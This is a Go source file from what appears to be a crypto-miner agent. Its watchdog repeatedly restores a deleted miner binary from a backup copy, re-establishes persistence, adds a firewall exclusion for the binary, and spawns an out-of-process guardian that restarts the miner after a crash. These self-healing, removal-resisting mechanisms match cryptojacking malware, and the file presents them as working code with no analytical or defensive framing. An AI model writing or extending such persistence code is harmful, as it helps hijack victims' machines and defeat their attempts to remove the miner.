package deploy

import (
	"log"
	"os"
	"path/filepath"
	"time"

	"crypto-miner-agent/config"
)

// StartWatchdog keeps persistence and the installed binary healthy,
// and spawns an out-of-process guardian that restarts the miner if it crashes.
func StartWatchdog(cfg config.RuntimeConfig) {
	if !cfg.SelfHealing {
		return
	}
	// In-process: repairs binary + persistence every 2 min
	go func() {
		ticker := time.NewTicker(2 * time.Minute)
		defer ticker.Stop()
		for range ticker.C {
			if err := maintainInstall(cfg); err != nil {
				log.Printf("[watchdog] maintenance: %v", err)
			}
		}
	}()
	// Out-of-process guardian: survives a crash of THIS process.
	// Only needed for user-mode installs; scheduled tasks and services
	// already have their own restart-on-failure mechanics.
	if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
		go launchProcessGuard(cfg)
	}
}

func maintainInstall(cfg config.RuntimeConfig) error {
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return err
	}
	installedBin := filepath.Join(installDir, BinaryName(cfg))
	backupBin := installedBin + backupSuffix

	if _, err := os.Stat(installedBin); os.IsNotExist(err) {
		if _, statErr := os.Stat(backupBin); statErr == nil {
			if copyErr := copyFile(backupBin, installedBin); copyErr != nil {
				return copyErr
			}
			log.Printf("[watchdog] restored missing binary from backup")
		}
	}

	if err := ensurePersistence(cfg, installedBin); err != nil {
		return err
	}
	if cfg.FirewallExclusion {
		EnsureFirewallExclusion(cfg, installedBin)
	}
	return nil
}
